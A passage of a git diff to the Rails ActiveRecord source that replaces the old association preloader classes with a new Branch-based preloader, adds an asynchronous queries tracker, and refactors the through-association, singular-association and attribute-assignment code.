+++ /dev/null
@@ -1,15 +0,0 @@
-module ActiveRecord
-  module Associations
-    class Preloader
-      class BelongsTo < SingularAssociation #:nodoc:
-        def association_key_name
-          reflection.options[:primary_key] || klass && klass.primary_key
-        end
-
-        def owner_key_name
-          reflection.foreign_key
-        end
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/associations/preloader/branch.rb b/activerecord/lib/active_record/associations/preloader/branch.rb
new file mode 100644
index 0000000000000..eabdc2c36f070
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader/branch.rb
@@ -0,0 +1,154 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Associations
+    class Preloader
+      class Branch # :nodoc:
+        attr_reader :association, :children, :parent
+        attr_reader :scope, :associate_by_default
+        attr_writer :preloaded_records
+
+        def initialize(association:, children:, parent:, associate_by_default:, scope:)
+          @association = if association
+            begin
+              @association = association.to_sym
+            rescue NoMethodError
+              raise ArgumentError, "Association names must be Symbol or String, got: #{association.class.name}"
+            end
+          end
+          @parent = parent
+          @scope = scope
+          @associate_by_default = associate_by_default
+
+          @children = build_children(children)
+          @loaders = nil
+        end
+
+        def future_classes
+          (immediate_future_classes + children.flat_map(&:future_classes)).uniq
+        end
+
+        def immediate_future_classes
+          if parent.done?
+            loaders.flat_map(&:future_classes).uniq
+          else
+            likely_reflections.reject(&:polymorphic?).flat_map do |reflection|
+              reflection.
+                chain.
+                map(&:klass)
+            end.uniq
+          end
+        end
+
+        def target_classes
+          if done?
+            preloaded_records.map(&:klass).uniq
+          elsif parent.done?
+            loaders.map(&:klass).uniq
+          else
+            likely_reflections.reject(&:polymorphic?).map(&:klass).uniq
+          end
+        end
+
+        def likely_reflections
+          parent_classes = parent.target_classes
+          parent_classes.filter_map do |parent_klass|
+            parent_klass._reflect_on_association(@association)
+          end
+        end
+
+        def root?
+          parent.nil?
+        end
+
+        def source_records
+          @parent.preloaded_records
+        end
+
+        def preloaded_records
+          @preloaded_records ||= loaders.flat_map(&:preloaded_records)
+        end
+
+        def done?
+          root? || (@loaders && @loaders.all?(&:run?))
+        end
+
+        def runnable_loaders
+          loaders.flat_map(&:runnable_loaders).reject(&:run?)
+        end
+
+        def grouped_records
+          h = {}
+          polymorphic_parent = !root? && parent.polymorphic?
+          source_records.each do |record|
+            reflection = record.class._reflect_on_association(association)
+            next if polymorphic_parent && !reflection || !record.association(association).klass
+            (h[reflection] ||= []) << record
+          end
+          h
+        end
+
+        def preloaders_for_reflection(reflection, reflection_records)
+          reflection_records.group_by do |record|
+            klass = record.association(association).klass
+
+            if reflection.scope && reflection.scope.arity != 0
+              # For instance dependent scopes, the scope is potentially
+              # different for each record. To allow this we'll group each
+              # object separately into its own preloader
+              reflection_scope = reflection.join_scopes(klass.arel_table, klass.predicate_builder, klass, record).inject(&:merge!)
+            end
+
+            [klass, reflection_scope]
+          end.map do |(rhs_klass, reflection_scope), rs|
+            preloader_for(reflection).new(rhs_klass, rs, reflection, scope, reflection_scope, associate_by_default)
+          end
+        end
+
+        def polymorphic?
+          return false if root?
+          return @polymorphic if defined?(@polymorphic)
+
+          @polymorphic = source_records.any? do |record|
+            reflection = record.class._reflect_on_association(association)
+            reflection && reflection.options[:polymorphic]
+          end
+        end
+
+        def loaders
+          @loaders ||=
+            grouped_records.flat_map do |reflection, reflection_records|
+              Deprecation.guard(reflection) { "referenced in query to preload records" }
+              preloaders_for_reflection(reflection, reflection_records)
+            end
+        end
+
+        private
+          def build_children(children)
+            Array.wrap(children).flat_map { |association|
+              Array(association).flat_map { |parent, child|
+                Branch.new(
+                  parent: self,
+                  association: parent,
+                  children: child,
+                  associate_by_default: associate_by_default,
+                  scope: scope
+                )
+              }
+            }
+          end
+
+          # Returns a class containing the logic needed to load preload the data
+          # and attach it to a relation. The class returned implements a `run` method
+          # that accepts a preloader.
+          def preloader_for(reflection)
+            if reflection.options[:through]
+              ThroughAssociation
+            else
+              Association
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/preloader/collection_association.rb b/activerecord/lib/active_record/associations/preloader/collection_association.rb
deleted file mode 100644
index 26690bf16d0c5..0000000000000
--- a/activerecord/lib/active_record/associations/preloader/collection_association.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-module ActiveRecord
-  module Associations
-    class Preloader
-      class CollectionAssociation < Association #:nodoc:
-        private
-
-          def preload(preloader)
-            associated_records_by_owner(preloader).each do |owner, records|
-              association = owner.association(reflection.name)
-              association.loaded!
-              association.target.concat(records)
-            end
-          end
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/associations/preloader/has_many.rb b/activerecord/lib/active_record/associations/preloader/has_many.rb
deleted file mode 100644
index 20df1cc19a987..0000000000000
--- a/activerecord/lib/active_record/associations/preloader/has_many.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-module ActiveRecord
-  module Associations
-    class Preloader
-      class HasMany < CollectionAssociation #:nodoc:
-        def association_key_name
-          reflection.foreign_key
-        end
-
-        def owner_key_name
-          reflection.active_record_primary_key
-        end
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/associations/preloader/has_many_through.rb b/activerecord/lib/active_record/associations/preloader/has_many_through.rb
deleted file mode 100644
index 2029871f3911f..0000000000000
--- a/activerecord/lib/active_record/associations/preloader/has_many_through.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-module ActiveRecord
-  module Associations
-    class Preloader
-      class HasManyThrough < CollectionAssociation #:nodoc:
-        include ThroughAssociation
-
-        def associated_records_by_owner(preloader)
-          records_by_owner = super
-
-          if reflection_scope.distinct_value
-            records_by_owner.each_value(&:uniq!)
-          end
-
-          records_by_owner
-        end
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/associations/preloader/has_one.rb b/activerecord/lib/active_record/associations/preloader/has_one.rb
deleted file mode 100644
index c4add621caa41..0000000000000
--- a/activerecord/lib/active_record/associations/preloader/has_one.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-module ActiveRecord
-  module Associations
-    class Preloader
-      class HasOne < SingularAssociation #:nodoc:
-        def association_key_name
-          reflection.foreign_key
-        end
-
-        def owner_key_name
-          reflection.active_record_primary_key
-        end
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/associations/preloader/has_one_through.rb b/activerecord/lib/active_record/associations/preloader/has_one_through.rb
deleted file mode 100644
index f063f8557455e..0000000000000
--- a/activerecord/lib/active_record/associations/preloader/has_one_through.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-module ActiveRecord
-  module Associations
-    class Preloader
-      class HasOneThrough < SingularAssociation #:nodoc:
-        include ThroughAssociation
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/associations/preloader/singular_association.rb b/activerecord/lib/active_record/associations/preloader/singular_association.rb
deleted file mode 100644
index 5c5828262ed6f..0000000000000
--- a/activerecord/lib/active_record/associations/preloader/singular_association.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-module ActiveRecord
-  module Associations
-    class Preloader
-      class SingularAssociation < Association #:nodoc:
-        private
-
-          def preload(preloader)
-            associated_records_by_owner(preloader).each do |owner, associated_records|
-              record = associated_records.first
-
-              association = owner.association(reflection.name)
-              association.target = record
-            end
-          end
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/associations/preloader/through_association.rb b/activerecord/lib/active_record/associations/preloader/through_association.rb
index 9d44a020211b1..50d9031542420 100644
--- a/activerecord/lib/active_record/associations/preloader/through_association.rb
+++ b/activerecord/lib/active_record/associations/preloader/through_association.rb
@@ -1,106 +1,148 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Associations
     class Preloader
-      module ThroughAssociation #:nodoc:
-        def through_reflection
-          reflection.through_reflection
-        end
-
-        def source_reflection
-          reflection.source_reflection
+      class ThroughAssociation < Association # :nodoc:
+        def preloaded_records
+          @preloaded_records ||= source_preloaders.flat_map(&:preloaded_records)
         end
 
-        def associated_records_by_owner(preloader)
-          preloader.preload(owners,
-                            through_reflection.name,
-                            through_scope)
+        def records_by_owner
+          @records_by_owner ||= owners.each_with_object({}) do |owner, result|
+            if loaded?(owner)
+              result[owner] = target_for(owner)
+              next
+            end
 
-          through_records = owners.map do |owner|
-            association = owner.association through_reflection.name
+            through_records = through_records_by_owner[owner] || []
 
-            center = target_records_from_association(association)
-            [owner, Array(center)]
-          end
+            if owners.first.association(through_reflection.name).loaded?
+              if source_type = reflection.options[:source_type]
+                through_records = through_records.select do |record|
+                  record[reflection.foreign_type] == source_type
+                end
+              end
+            end
 
-          reset_association owners, through_reflection.name
+            records = through_records.flat_map do |record|
+              source_records_by_owner[record]
+            end
 
-          middle_records = through_records.flat_map { |(_, rec)| rec }
+            records.compact!
+            records.sort_by! { |rhs| preload_index[rhs] } if scope.order_values.any?
+            records.uniq! if scope.distinct_value
+            result[owner] = records
+          end
+        end
 
-          preloaders = preloader.preload(middle_records,
-                                         source_reflection.name,
-                                         reflection_scope)
+        def runnable_loaders
+          if data_available?
+            [self]
+          elsif through_preloaders.all?(&:run?)
+            source_preloaders.flat_map(&:runnable_loaders)
+          else
+            through_preloaders.flat_map(&:runnable_loaders)
+          end
+        end
 
-          @preloaded_records = preloaders.flat_map(&:preloaded_records)
+        def future_classes
+          if run?
+            []
+          elsif through_preloaders.all?(&:run?)
+            source_preloaders.flat_map(&:future_classes).uniq
+          else
+            through_classes = through_preloaders.flat_map(&:future_classes)
+            source_classes = source_reflection.
+              chain.
+              reject { |reflection| reflection.respond_to?(:polymorphic?) && reflection.polymorphic? }.
+              map(&:klass)
+            (through_classes + source_classes).uniq
+          end
+        end
 
-          middle_to_pl = preloaders.each_with_object({}) do |pl, h|
-            pl.owners.each { |middle|
-              h[middle] = pl
-            }
+        private
+          def data_available?
+            owners.all? { |owner| loaded?(owner) } ||
+              through_preloaders.all?(&:run?) && source_preloaders.all?(&:run?)
           end
 
-          through_records.each_with_object({}) do |(lhs, center), records_by_owner|
-            pl_to_middle = center.group_by { |record| middle_to_pl[record] }
+          def source_preloaders
+            @source_preloaders ||= ActiveRecord::Associations::Preloader.new(records: middle_records, associations: source_reflection.name, scope: scope, associate_by_default: false).loaders
+          end
 
-            records_by_owner[lhs] = pl_to_middle.flat_map do |pl, middles|
-              rhs_records = middles.flat_map { |r|
-                association = r.association source_reflection.name
+          def middle_records
+            through_records_by_owner.values.flatten
+          end
 
-                target_records_from_association(association)
-              }.compact
+          def through_preloaders
+            @through_preloaders ||= ActiveRecord::Associations::Preloader.new(records: owners, associations: through_reflection.name, scope: through_scope, associate_by_default: false).loaders
+          end
 
-              # Respect the order on `reflection_scope` if it exists, else use the natural order.
-              if reflection_scope.values[:order].present?
-                @id_map ||= id_to_index_map @preloaded_records
-                rhs_records.sort_by { |rhs| @id_map[rhs] }
-              else
-                rhs_records
-              end
-            end
+          def through_reflection
+            reflection.through_reflection
           end
-        end
 
-        private
+          def source_reflection
+            reflection.source_reflection
+          end
 
-          def id_to_index_map(ids)
-            id_map = {}
-            ids.each_with_index { |id, index| id_map[id] = index }
-            id_map
+          def source_records_by_owner
+            @source_records_by_owner ||= source_preloaders.map(&:records_by_owner).reduce(:merge)
           end
 
-          def reset_association(owners, association_name)
-            should_reset = (through_scope != through_reflection.klass.unscoped) ||
-               (reflection.options[:source_type] && through_reflection.collection?)
+          def through_records_by_owner
+            @through_records_by_owner ||= through_preloaders.map(&:records_by_owner).reduce(:merge)
+          end
 
-            # Don't cache the association - we would only be caching a subset
-            if should_reset
-              owners.each { |owner|
-                owner.association(association_name).reset
-              }
+          def preload_index
+            @preload_index ||= preloaded_records.each_with_object({}).with_index do |(record, result), index|
+              result[record] = index
             end
           end
 
           def through_scope
             scope = through_reflection.klass.unscoped
+            options = reflection.options
+
+            return scope if options[:disable_joins]
+
+            values = reflection_scope.values
+            if annotations = values[:annotate]
+              scope.annotate!(*annotations)
+            end
 
             if options[:source_type]
               scope.where! reflection.foreign_type => options[:source_type]
-            else
-              unless reflection_scope.where_clause.empty?
-                scope.includes_values = Array(reflection_scope.values[:includes] || options[:source])
-                scope.where_clause = reflection_scope.where_clause
+            elsif !reflection_scope.where_clause.empty?
+              scope.where_clause = reflection_scope.where_clause
+
+              if includes = values[:includes]
+                scope.includes!(source_reflection.name => includes)
+              else
+                scope.includes!(source_reflection.name)
               end
 
-              scope.references! reflection_scope.values[:references]
-              if scope.eager_loading? && order_values = reflection_scope.values[:order]
+              if values[:references] && !values[:references].empty?
+                scope.references_values |= values[:references]
+              else
+                scope.references!(source_reflection.table_name)
+              end
+
+              if joins = values[:joins]
+                scope.joins!(source_reflection.name => joins)
+              end
+
+              if left_outer_joins = values[:left_outer_joins]
+                scope.left_outer_joins!(source_reflection.name => left_outer_joins)
+              end
+
+              if scope.eager_loading? && order_values = values[:order]
                 scope = scope.order(order_values)
               end
             end
 
-            scope
-          end
-
-          def target_records_from_association(association)
-            association.loaded? ? association.target : association.reader
+            cascade_strict_loading(scope)
           end
       end
     end
diff --git a/activerecord/lib/active_record/associations/singular_association.rb b/activerecord/lib/active_record/associations/singular_association.rb
index 91580a28d0e3f..66fa00e129a94 100644
--- a/activerecord/lib/active_record/associations/singular_association.rb
+++ b/activerecord/lib/active_record/associations/singular_association.rb
@@ -1,8 +1,12 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Associations
-    class SingularAssociation < Association #:nodoc:
+    class SingularAssociation < Association # :nodoc:
       # Implements the reader method, e.g. foo.bar for Foo.has_one :bar
       def reader
+        ensure_klass_exists!
+
         if !loaded? || stale_target?
           reload
         end
@@ -10,14 +14,20 @@ def reader
         target
       end
 
+      # Resets the \loaded flag to +false+ and sets the \target to +nil+.
+      def reset
+        super
+        @target = nil
+        @future_target = nil
+      end
+
       # Implements the writer method, e.g. foo.bar= for Foo.belongs_to :bar
       def writer(record)
         replace(record)
       end
 
-      def build(attributes = {})
-        record = build_record(attributes)
-        yield(record) if block_given?
+      def build(attributes = nil, &block)
+        record = build_record(attributes, &block)
         set_new_record(record)
         record
       end
@@ -25,33 +35,25 @@ def build(attributes = {})
       # Implements the reload reader method, e.g. foo.reload_bar for
       # Foo.has_one :bar
       def force_reload_reader
-        klass.uncached { reload }
+        reload(true)
         target
       end
 
       private
-
-        def create_scope
-          scope.scope_for_create.stringify_keys.except(klass.primary_key)
+        def scope_for_create
+          super.except!(*Array(klass.primary_key))
         end
 
-        def find_target
-          return scope.take if skip_statement_cache?
-
-          conn = klass.connection
-          sc = reflection.association_scope_cache(conn, owner) do
-            StatementCache.create(conn) { |params|
-              as = AssociationScope.create { params.bind }
-              target_scope.merge(as.scope(self, conn)).limit(1)
-            }
+        def find_target(async: false)
+          if disable_joins
+            if async
+              scope.load_async.then(&:first)
+            else
+              scope.first
+            end
+          else
+            super.then(&:first)
           end
-
-          binds = AssociationScope.get_bind_values(owner, reflection.chain)
-          sc.execute(binds, klass, conn) do |record|
-            set_inverse_instance record
-          end.first
-        rescue ::RangeError
-          nil
         end
 
         def replace(record)
@@ -62,9 +64,8 @@ def set_new_record(record)
           replace(record)
         end
 
-        def _create_record(attributes, raise_error = false)
-          record = build_record(attributes)
-          yield(record) if block_given?
+        def _create_record(attributes, raise_error = false, &block)
+          record = build_record(attributes, &block)
           saved = record.save
           set_new_record(record)
           raise RecordInvalid.new(record) if !saved && raise_error
diff --git a/activerecord/lib/active_record/associations/through_association.rb b/activerecord/lib/active_record/associations/through_association.rb
index 6b87993ba3fed..7389ecc787a59 100644
--- a/activerecord/lib/active_record/associations/through_association.rb
+++ b/activerecord/lib/active_record/associations/through_association.rb
@@ -1,10 +1,31 @@
+# frozen_string_literal: true
+
 module ActiveRecord
-  # = Active Record Through Association
   module Associations
-    module ThroughAssociation #:nodoc:
-      delegate :source_reflection, :through_reflection, to: :reflection
+    # = Active Record Through Association
+    module ThroughAssociation # :nodoc:
+      delegate :source_reflection, to: :reflection
 
       private
+        def transaction(&block)
+          through_reflection.klass.transaction(&block)
+        end
+
+        def through_reflection
+          @through_reflection ||= begin
+            refl = reflection.through_reflection
+
+            while refl.through_reflection?
+              refl = refl.through_reflection
+            end
+
+            refl
+          end
+        end
+
+        def through_association
+          @through_association ||= owner.association(through_reflection.name)
+        end
 
         # We merge in these scopes for two reasons:
         #
@@ -13,9 +34,9 @@ module ThroughAssociation #:nodoc:
         def target_scope
           scope = super
           reflection.chain.drop(1).each do |reflection|
-            relation = reflection.klass.all
+            relation = reflection.klass.scope_for_association
             scope.merge!(
-              relation.except(:select, :create_with, :includes, :preload, :joins, :eager_load)
+              relation.except(:select, :create_with, :includes, :preload, :eager_load, :joins, :left_outer_joins)
             )
           end
           scope
@@ -36,39 +57,40 @@ def target_scope
         def construct_join_attributes(*records)
           ensure_mutable
 
-          if source_reflection.association_primary_key(reflection.klass) == reflection.klass.primary_key
+          association_primary_key = source_reflection.association_primary_key(reflection.klass)
+
+          if Array(association_primary_key) == reflection.klass.composite_query_constraints_list && !options[:source_type]
             join_attributes = { source_reflection.name => records }
           else
-            join_attributes = {
-              source_reflection.foreign_key =>
-                records.map { |record|
-                  record.send(source_reflection.association_primary_key(reflection.klass))
-                }
-            }
+            assoc_pk_values = records.map { |record| record._read_attribute(association_primary_key) }
+            join_attributes = { source_reflection.foreign_key => assoc_pk_values }
           end
 
           if options[:source_type]
-            join_attributes[source_reflection.foreign_type] =
-              records.map { |record| record.class.base_class.name }
+            join_attributes[source_reflection.foreign_type] = [ options[:source_type] ]
           end
 
           if records.count == 1
-            Hash[join_attributes.map { |k, v| [k, v.first] }]
+            join_attributes.transform_values!(&:first)
           else
             join_attributes
           end
         end
 
-        # Note: this does not capture all cases, for example it would be crazy to try to
-        # properly support stale-checking for nested associations.
+        # Note: this does not capture all cases, for example it would be impractical
+        # to try to properly support stale-checking for nested associations.
         def stale_state
           if through_reflection.belongs_to?
-            owner[through_reflection.foreign_key] && owner[through_reflection.foreign_key].to_s
+            Array(through_reflection.foreign_key).filter_map do |foreign_key_column|
+              owner[foreign_key_column]
+            end.presence
           end
         end
 
         def foreign_key_present?
-          through_reflection.belongs_to? && !owner[through_reflection.foreign_key].nil?
+          through_reflection.belongs_to? && Array(through_reflection.foreign_key).all? do |foreign_key_column|
+            !owner[foreign_key_column].nil?
+          end
         end
 
         def ensure_mutable
@@ -92,14 +114,18 @@ def ensure_not_nested
         end
 
         def build_record(attributes)
-          inverse = source_reflection.inverse_of
-          target = through_association.target
+          if source_reflection.collection?
+            inverse = source_reflection.inverse_of
+            target = through_association.target
 
-          if inverse && target && !target.is_a?(Array)
-            attributes[inverse.foreign_key] = target.id
+            if inverse && target && !target.is_a?(Array)
+              Array(target.id).zip(Array(inverse.foreign_key)).map do |primary_key_value, foreign_key_column|
+                attributes[foreign_key_column] = primary_key_value
+              end
+            end
           end
 
-          super(attributes)
+          super
         end
     end
   end
diff --git a/activerecord/lib/active_record/asynchronous_queries_tracker.rb b/activerecord/lib/active_record/asynchronous_queries_tracker.rb
new file mode 100644
index 0000000000000..322adb595cac7
--- /dev/null
+++ b/activerecord/lib/active_record/asynchronous_queries_tracker.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+require "concurrent/atomic/atomic_boolean"
+require "concurrent/atomic/read_write_lock"
+
+module ActiveRecord
+  class AsynchronousQueriesTracker # :nodoc:
+    class Session # :nodoc:
+      def initialize
+        @active = Concurrent::AtomicBoolean.new(true)
+        @lock = Concurrent::ReadWriteLock.new
+      end
+
+      def active?
+        @active.true?
+      end
+
+      def synchronize(&block)
+        @lock.with_read_lock(&block)
+      end
+
+      def finalize(wait = false)
+        @active.make_false
+        if wait
+          # Wait until all thread with a read lock are done
+          @lock.with_write_lock { }
+        end
+      end
+    end
+
+    class << self
+      def install_executor_hooks(executor = ActiveSupport::Executor)
+        executor.register_hook(self)
+      end
+
+      def run
+        ActiveRecord::Base.asynchronous_queries_tracker.tap(&:start_session)
+      end
+
+      def complete(asynchronous_queries_tracker)
+        asynchronous_queries_tracker.finalize_session
+      end
+    end
+
+    def initialize
+      @stack = []
+    end
+
+    def current_session
+      @stack.last or raise ActiveRecordError, "Can't perform asynchronous queries without a query session"
+    end
+
+    def start_session
+      session = Session.new
+      @stack << session
+    end
+
+    def finalize_session(wait = false)
+      session = @stack.pop
+      session&.finalize(wait)
+      self
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute.rb b/activerecord/lib/active_record/attribute.rb
deleted file mode 100644
index 38281158d87e4..0000000000000
--- a/activerecord/lib/active_record/attribute.rb
+++ /dev/null
@@ -1,240 +0,0 @@
-module ActiveRecord
-  class Attribute # :nodoc:
-    class << self
-      def from_database(name, value, type)
-        FromDatabase.new(name, value, type)
-      end
-
-      def from_user(name, value, type, original_attribute = nil)
-        FromUser.new(name, value, type, original_attribute)
-      end
-
-      def with_cast_value(name, value, type)
-        WithCastValue.new(name, value, type)
-      end
-
-      def null(name)
-        Null.new(name)
-      end
-
-      def uninitialized(name, type)
-        Uninitialized.new(name, type)
-      end
-    end
-
-    attr_reader :name, :value_before_type_cast, :type
-
-    # This method should not be called directly.
-    # Use #from_database or #from_user
-    def initialize(name, value_before_type_cast, type, original_attribute = nil)
-      @name = name
-      @value_before_type_cast = value_before_type_cast
-      @type = type
-      @original_attribute = original_attribute
-    end
-
-    def value
-      # `defined?` is cheaper than `||=` when we get back falsy values
-      @value = type_cast(value_before_type_cast) unless defined?(@value)
-      @value
-    end
-
-    def original_value
-      if assigned?
-        original_attribute.original_value
-      else
-        type_cast(value_before_type_cast)
-      end
-    end
-
-    def value_for_database
-      type.serialize(value)
-    end
-
-    def changed?
-      changed_from_assignment? || changed_in_place?
-    end
-
-    def changed_in_place?
-      has_been_read? && type.changed_in_place?(original_value_for_database, value)
-    end
-
-    def forgetting_assignment
-      with_value_from_database(value_for_database)
-    end
-
-    def with_value_from_user(value)
-      type.assert_valid_value(value)
-      self.class.from_user(name, value, type, original_attribute || self)
-    end
-
-    def with_value_from_database(value)
-      self.class.from_database(name, value, type)
-    end
-
-    def with_cast_value(value)
-      self.class.with_cast_value(name, value, type)
-    end
-
-    def with_type(type)
-      if changed_in_place?
-        with_value_from_user(value).with_type(type)
-      else
-        self.class.new(name, value_before_type_cast, type, original_attribute)
-      end
-    end
-
-    def type_cast(*)
-      raise NotImplementedError
-    end
-
-    def initialized?
-      true
-    end
-
-    def came_from_user?
-      false
-    end
-
-    def has_been_read?
-      defined?(@value)
-    end
-
-    def ==(other)
-      self.class == other.class &&
-        name == other.name &&
-        value_before_type_cast == other.value_before_type_cast &&
-        type == other.type
-    end
-    alias eql? ==
-
-    def hash
-      [self.class, name, value_before_type_cast, type].hash
-    end
-
-    def init_with(coder)
-      @name = coder["name"]
-      @value_before_type_cast = coder["value_before_type_cast"]
-      @type = coder["type"]
-      @original_attribute = coder["original_attribute"]
-      @value = coder["value"] if coder.map.key?("value")
-    end
-
-    def encode_with(coder)
-      coder["name"] = name
-      coder["value_before_type_cast"] = value_before_type_cast if value_before_type_cast
-      coder["type"] = type if type
-      coder["original_attribute"] = original_attribute if original_attribute
-      coder["value"] = value if defined?(@value)
-    end
-
-    # TODO Change this to private once we've dropped Ruby 2.2 support.
-    # Workaround for Ruby 2.2 "private attribute?" warning.
-    protected
-
-      attr_reader :original_attribute
-      alias_method :assigned?, :original_attribute
-
-      def original_value_for_database
-        if assigned?
-          original_attribute.original_value_for_database
-        else
-          _original_value_for_database
-        end
-      end
-
-    private
-      def initialize_dup(other)
-        if defined?(@value) && @value.duplicable?
-          @value = @value.dup
-        end
-      end
-
-      def changed_from_assignment?
-        assigned? && type.changed?(original_value, value, value_before_type_cast)
-      end
-
-      def _original_value_for_database
-        type.serialize(original_value)
-      end
-
-      class FromDatabase < Attribute # :nodoc:
-        def type_cast(value)
-          type.deserialize(value)
-        end
-
-        def _original_value_for_database
-          value_before_type_cast
-        end
-      end
-
-      class FromUser < Attribute # :nodoc:
-        def type_cast(value)
-          type.cast(value)
-        end
-
-        def came_from_user?
-          true
-        end
-      end
-
-      class WithCastValue < Attribute # :nodoc:
-        def type_cast(value)
-          value
-        end
-
-        def changed_in_place?
-          false
-        end
-      end
-
-      class Null < Attribute # :nodoc:
-        def initialize(name)
-          super(name, nil, Type.default_value)
-        end
-
-        def type_cast(*)
-          nil
-        end
-
-        def with_type(type)
-          self.class.with_cast_value(name, nil, type)
-        end
-
-        def with_value_from_database(value)
-          raise ActiveModel::MissingAttributeError, "can't write unknown attribute `#{name}`"
-        end
-        alias_method :with_value_from_user, :with_value_from_database
-      end
-
-      class Uninitialized < Attribute # :nodoc:
-        UNINITIALIZED_ORIGINAL_VALUE = Object.new
-
-        def initialize(name, type)
-          super(name, nil, type)
-        end
-
-        def value
-          if block_given?
-            yield name
-          end
-        end
-
-        def original_value
-          UNINITIALIZED_ORIGINAL_VALUE
-        end
-
-        def value_for_database
-        end
-
-        def initialized?
-          false
-        end
-
-        def with_type(type)
-          self.class.new(name, type)
-        end
-      end
-      private_constant :FromDatabase, :FromUser, :Null, :Uninitialized, :WithCastValue
-  end
-end
diff --git a/activerecord/lib/active_record/attribute/user_provided_default.rb b/activerecord/lib/active_record/attribute/user_provided_default.rb
deleted file mode 100644
index 57f8bbed76976..0000000000000
--- a/activerecord/lib/active_record/attribute/user_provided_default.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require "active_record/attribute"
-
-module ActiveRecord
-  class Attribute # :nodoc:
-    class UserProvidedDefault < FromUser # :nodoc:
-      def initialize(name, value, type, database_default)
-        @user_provided_value = value
-        super(name, value, type, database_default)
-      end
-
-      def value_before_type_cast
-        if user_provided_value.is_a?(Proc)
-          @memoized_value_before_type_cast ||= user_provided_value.call
-        else
-          @user_provided_value
-        end
-      end
-
-      def with_type(type)
-        self.class.new(name, user_provided_value, type, original_attribute)
-      end
-
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
-
-        attr_reader :user_provided_value
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/attribute_assignment.rb b/activerecord/lib/active_record/attribute_assignment.rb
index d0dfca0cac451..bd246578ab2ed 100644
--- a/activerecord/lib/active_record/attribute_assignment.rb
+++ b/activerecord/lib/active_record/attribute_assignment.rb
@@ -1,32 +1,25 @@
-require "active_model/forbidden_attributes_protection"
+# frozen_string_literal: true
 
 module ActiveRecord
   module AttributeAssignment
-    extend ActiveSupport::Concern
-    include ActiveModel::AttributeAssignment
-
-    # Alias for ActiveModel::AttributeAssignment#assign_attributes. See ActiveModel::AttributeAssignment.
-    def attributes=(attributes)
-      assign_attributes(attributes)
-    end
-
     private
-
       def _assign_attributes(attributes)
-        multi_parameter_attributes  = {}
-        nested_parameter_attributes = {}
+        multi_parameter_attributes = nested_parameter_attributes = nil
 
         attributes.each do |k, v|
-          if k.include?("(")
-            multi_parameter_attributes[k] = attributes.delete(k)
+          key = k.to_s
+
+          if key.include?("(")
+            (multi_parameter_attributes ||= {})[key] = v
           elsif v.is_a?(Hash)
-            nested_parameter_attributes[k] = attributes.delete(k)
+            (nested_parameter_attributes ||= {})[key] = v
+          else
+            _assign_attribute(key, v)
           end
         end
-        super(attributes)
 
-        assign_nested_parameter_attributes(nested_parameter_attributes) unless nested_parameter_attributes.empty?
-        assign_multiparameter_attributes(multi_parameter_attributes) unless multi_parameter_attributes.empty?
+        assign_nested_parameter_attributes(nested_parameter_attributes) if nested_parameter_attributes
+        assign_multiparameter_attributes(multi_parameter_attributes) if multi_parameter_attributes
       end
 
       # Assign any deferred nested attributes after the base attributes have been set.
@@ -49,16 +42,14 @@ def assign_multiparameter_attributes(pairs)
       def execute_callstack_for_multiparameter_attributes(callstack)
         errors = []
         callstack.each do |name, values_with_empty_parameters|
-          begin
-            if values_with_empty_parameters.each_value.all?(&:nil?)
-              values = nil
-            else
-              values = values_with_empty_parameters
-            end
-            send("#{name}=", values)
-          rescue => ex
-            errors << AttributeAssignmentError.new("error on assignment #{values_with_empty_parameters.values.inspect} to #{name} (#{ex.message})", ex, name)
+          if values_with_empty_parameters.each_value.all?(NilClass)
+            values = nil
+          else
+            values = values_with_empty_parameters
           end
+          send("#{name}=", values)
+        rescue => ex
+          errors << AttributeAssignmentError.new("error on assignment #{values_with_empty_parameters.values.inspect} to #{name} (#{ex.message})", ex, name)
         end
         unless errors.empty?
           error_descriptions = errors.map(&:message).join(",")
diff --git a/activerecord/lib/active_record/attribute_decorators.rb b/activerecord/lib/active_record/attribute_decorators.rb
deleted file mode 100644
index c39e9ce4c5fcc..0000000000000
--- a/activerecord/lib/active_record/attribute_decorators.rb
+++ /dev/null
@@ -1,89 +0,0 @@
-module ActiveRecord
-  module AttributeDecorators # :nodoc:
-    extend ActiveSupport::Concern
-
-    included do
-      class_attribute :attribute_type_decorations, instance_accessor: false # :internal:
-      self.attribute_type_decorations = TypeDecorator.new
-    end
-
-    module ClassMethods # :nodoc:
-      # This method is an internal API used to create class macros such as
-      # +serialize+, and features like time zone aware attributes.
-      #
-      # Used to wrap the type of an attribute in a new type.
-      # When the schema for a model is loaded, attributes with the same name as
-      # +column_name+ will have their type yielded to the given block. The
-      # return value of that block will be used instead.
-      #
-      # Subsequent calls where +column_name+ and +decorator_name+ are the same
-      # will override the previous decorator, not decorate twice. This can be
-      # used to create idempotent class macros like +serialize+
-      def decorate_attribute_type(column_name, decorator_name, &block)
-        matcher = ->(name, _) { name == column_name.to_s }
-        key = "_#{column_name}_#{decorator_name}"
-        decorate_matching_attribute_types(matcher, key, &block)
-      end
-
-      # This method is an internal API used to create higher level features like
-      # time zone aware attributes.
-      #
-      # When the schema for a model is loaded, +matcher+ will be called for each
-      # attribute with its name and type. If the matcher returns a truthy value,
-      # the type will then be yielded to the given block, and the return value
-      # of that block will replace the type.
-      #
